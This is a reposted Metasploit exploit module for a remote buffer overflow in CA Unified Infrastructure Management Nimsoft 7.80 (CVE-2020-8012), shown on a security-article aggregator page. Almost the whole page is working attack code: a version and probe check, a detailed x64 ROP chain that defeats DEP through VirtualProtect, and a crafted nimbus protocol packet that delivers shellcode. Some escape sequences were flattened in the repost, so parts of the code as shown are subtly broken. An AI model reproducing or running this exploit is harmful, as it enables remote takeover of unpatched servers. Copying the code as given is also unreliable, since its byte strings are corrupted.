HackDig : Dig high-quality web security articles for hackers

CA Unified Infrastructure Management Nimsoft 7.80 Buffer Overflow

2020-08-01 01:47
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::Tcp  include Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',        'Description' => %q{          This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.          The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list          probe.          Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the          directory_list probe.        },        'License' => MSF_LICENSE,        'Author' =>          [            'wetw0rk' # Vulnerability Discovery and Metasploit module          ],        'References' =>          [            [ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)            [ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE            [ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],            [ 'PACKETSTORM', '156577' ]          ],        'DefaultOptions' =>          {            'EXITFUNC' => 'process',            'AUTORUNSCRIPT' => 'post/windows/manage/migrate'          },        'Payload' =>          {            'Space' => 2000,            'DisableNops' => true          },        'Platform' => 'win',        'Arch' => ARCH_X64,        'Targets' =>          [            [              'Windows Universal (x64) - v7.80.3132',              {                'Platform' => 'win',                'Arch' => [ARCH_X64],                'Version' => '7.80 [Build 7.80.3132, Jun  1 2015]',                'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]              }            ],          ],        'Privileged' => true,        'Notes' => { 'Stability' => [ CRASH_SAFE ] },        'DisclosureDate' => 'Feb 05 2020',        'DefaultTarget' => 0      )    )    register_options(      [        OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\']),        Opt::RPORT(48000),      ]    )  end  # check: there are only two prerequisites to getting code execution. The version number  # and access to the directory_list probe. The easiest way to get this information is to  # ask nicely ;)  def check    connect    sock.put(generate_probe('get_info', ['interfaces=0']))    response = sock.get_once(4096)    list_check = -1    begin      if target['Version'].in? response        print_status("Version #{target['Version']} detected, sending directory_list probe")        sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))        list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])      end    ensure      disconnect    end    if list_check == 0      return CheckCode::Appears    else      return CheckCode::Safe    end  end  def exploit    super    connect    shellcode = make_nops(500)    shellcode << payload.encoded    offset = rand_text_alphanumeric(1000)    offset += "x0f" * 33    heap_flip = [target.ret].pack('<Q*')    alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain    rop_chain = generate_rsp_chain # Stage1: Stack alignment    rop_chain += rand_text_alphanumeric(631) # Adjust for second stage    rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub    rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail      rop_chain.length                                        ))    rop_chain += "kernel32.dllx00"    rop_chain += "VirtualProtectx00"    trigger = "x10" * (8000 - (      offset.length +      heap_flip.length +      alignment.length +      rop_chain.length +      shellcode.length    )                       )    buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger    exploit_packet = generate_probe(      'directory_list',      ["directory=#{buffer}"]    )    sock.put(exploit_packet)    disconnect  end  # generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes  # otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.  def generate_rsp_chain    rop_gadgets = [0x0000000140018c42] * 20 # ret    rop_gadgets += [      0x0000000140002ef6, # pop rax ; ret      0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )      0x00000001400af237, # pop rdi ; ret      0x0000000000000007, # alignment for rsp      0x0000000140025dab    ] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret    return rop_gadgets.pack('<Q*')  end  # generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,  # and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.  # Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.  def generate_rop_chain    # RAX -> HMODULE GetModuleHandleA(    #   ( RCX == *module ) LPCSTR lpModuleName,    # );    rop_gadgets = [0x0000000140018c42] * 15 # ret    rop_gadgets += [      0x0000000140002ef6, # pop rax ; ret      0x0000000000000000, # (zero out rax)      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000    ] #    rop_gadgets += [0x0000000140018c42] * 10 # ret    rop_gadgets += [      0x0000000140131643, # pop rcx ; ret      0x00000000000009dd, # offset to "kernel32.dll"      0x000000014006d8d8    ] # add rax, rcx ; add rsp, 0x38 ; ret    rop_gadgets += [0x0000000140018c42] * 15 # ret    rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret    rop_gadgets += [      0x0000000140002ef6, # pop rax ; ret      0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)      0x00000001400d1161    ] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret    rop_gadgets += [0x0000000140018c42] * 17 # ret    # RAX -> FARPROC GetProcAddressStub(    #   ( RCX == &addr    ) HMODULE hModule,    #   ( RDX == *module  ) lpProcName    # );    rop_gadgets += [      0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)      0x0000000140002ef6, # pop rax ; ret      0x0000000000000000, # (zero out rax)      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000    ] #    rop_gadgets += [0x0000000140018c42] * 10 # ret    rop_gadgets += [      0x0000000140131643, # pop rcx ; ret      0x0000000000000812, # offset to "virtualprotectstub"      0x000000014006d8d8    ] # add rax, rcx ; add rsp, 0x38 ; ret    rop_gadgets += [0x0000000140018c42] * 15 # ret    rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]    # mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret    rop_gadgets += [0x0000000140018c42] * 10 # ret    rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret    rop_gadgets += [0x0000000140018c42] * 10 # ret    rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret    rop_gadgets += [      0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000    ] #    rop_gadgets += [0x0000000140018c42] * 6 # ret    rop_gadgets += [      0x0000000140002ef6, # pop rax ; ret      0x000000014015e318    ] # GetProcAddressStub (0x00000000014015e338-20)    rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret    rop_gadgets += [0x0000000140018c42] * 17 # ret    # RAX -> BOOL VirtualProtectStub(    #   ( RCX == *shellcode          ) LPVOID  lpAddress,    #   ( RDX == len(shellcode)      ) SIZE_T  dwSize,    #   ( R8  == 0x0000000000000040  ) DWORD   flNewProtect,    #   ( R9  == *writeable location ) PDWORD  lpflOldProtect,    # );    rop_gadgets += [      0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)      0x000000014013d651, # pop r12 ; ret      0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )      0x00000001400eba74    ] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret    rop_gadgets += [0x0000000140018c42] * 10 # ret    rop_gadgets += [      0x0000000140002ef6, # pop rax ; ret      0x0000000000000000    ]    rop_gadgets += [      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000    ] #    rop_gadgets += [0x0000000140018c42] * 10 # ret    rop_gadgets += [      0x0000000140131643, # pop rcx ; ret      0x000000000000059f, # (offset to *shellcode)      0x000000014006d8d8    ] # add rax, rcx ; add rsp, 0x38 ; ret    rop_gadgets += [0x0000000140018c42] * 15 # ret    rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret    rop_gadgets += [      0x00000001400496a2, # pop rdx ; ret      0x00000000000005dc    ] # dwSize    rop_gadgets += [      0x00000001400bc39c, # pop r8 ; ret      0x0000000000000040    ] # flNewProtect    rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)    rop_gadgets += [0x0000000140018c42] * 17 # ret    rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]    # mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret    rop_gadgets += [0x0000000140018c42] * 20 # ret    rop_gadgets += [      0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)      0x0000000000000000, # (zero out rax)      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000, #      0x0000000000000000    ] #    rop_gadgets += [0x0000000140018c42] * 10 # ret    rop_gadgets += [      0x0000000140131643, # pop rcx ; ret      0x0000000000000317, # (offset to our shellcode)      0x000000014006d8d8    ] # add rax, rcx ; add rsp, 0x38 ; ret    rop_gadgets += [0x0000000140018c42] * 15 # ret    rop_gadgets += [0x00000001400a9747] # jmp rax    rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)    return rop_gadgets.pack('<Q*')  end  # parse_listing: once the directory_list probe is sent we're returned a directory listing  # unfortunately it's hard to read this simply "decodes" it  def parse_listing(response, directory)    result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }    i = 0    begin      dirlist = response.split('x00')[0].split("x00")      index = dirlist.index('entry') + 3      final = dirlist[index..-1]    rescue StandardError      print_error('Failed to gather directory listing')      return -1    end    print_line("n Directory of #{directory}n")    check = 0    name = 0    ftime = 0    size = 0    ftype = 0    while i < final.length      if name == 1        unless final[i].to_i > 0          result['name'] = final[i]          name = 0          check += 1        end      end      if size >= 1        if size == 3          result['size'] = final[i]          size = 0          check += 1        else          size += 1        end      end      if ftype >= 1        if ftype == 3          result['type'] = final[i]          ftype = 0          check += 1        else          ftype += 1        end      end      if ftime >= 1        if ftime == 3          result['date'] = final[i]          ftime = 0          check += 1        else          ftime += 1        end      end      if final[i].include? 'name'        name = 1      end      if final[i].include? 'size'        size = 1      end      if final[i].include? 'size'        ftype = 1      end      if final[i].include? 'last_modified'        ftime = 1      end      i += 1      next unless check == 4      if result['type'] == '2'        result['type'] = ''      else        result['type'] = '<DIR>'        result['size'] = ''      end      begin        time = Time.at(result['date'].to_i)        timestamp = time.strftime('%m/%d/%Y %I:%M %p')      rescue StandardError        timestamp = '??/??/???? ??:?? ??'      end      print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))      check = 0    end    print_line('')    return 0  end  # generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially  # craft probes in order for the controller to accept any input.  def generate_probe(probe, args)    client = "#{rand_text_alphanumeric(14)}x00"    packet_args = ''    probe += "x00"    for arg in args      c = ''      i = 0      while c != '='        c = arg[i]        i += 1      end      packet_args << "#{arg[0, (i - 1)]}x00"      packet_args << "1x00#{arg[i..-1].length + 1}x00"      packet_args << "#{arg[i..-1]}x00"    end    packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)    packet_body = "mtypex00" # mtype    packet_body << "7x004x00100x00" # 7.4.100    packet_body << "cmdx00" # cmd    packet_body << "7x00#{probe.length}x00" # 7.(length of probe)    packet_body << probe # probe    packet_body << "seqx00" # seq    packet_body << "1x002x000x00" # 1.2.0    packet_body << "tsx00" # ts    packet_body << "1x0011x00#{rand_text_alphanumeric(10)}x00" # 1.11.(UNIX EPOCH TIME)    packet_body << "frmx00" # frm    packet_body << "7x00#{client.length}x00" # 7.(length of client)    packet_body << client # client address    packet_body << "toutx00" # tout    packet_body << "1x004x00180x00" # 1.4.180    packet_body << "addrx00" # addr    packet_body << "7x000x00" # 7.0    #    # probe packet arguments (dynamic)    # argument    # length of arg value    # argument value    packet_header << "#{packet_body.length} #{packet_args.length}rn"    probe = packet_header + packet_body + packet_args    return probe  endend


Source: 7000800202-BLW/eussi/moc.ytirucesxc

Read:667 | Comments:0 | Tags:No Tag

“CA Unified Infrastructure Management Nimsoft 7.80 Buffer Overflow”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Tools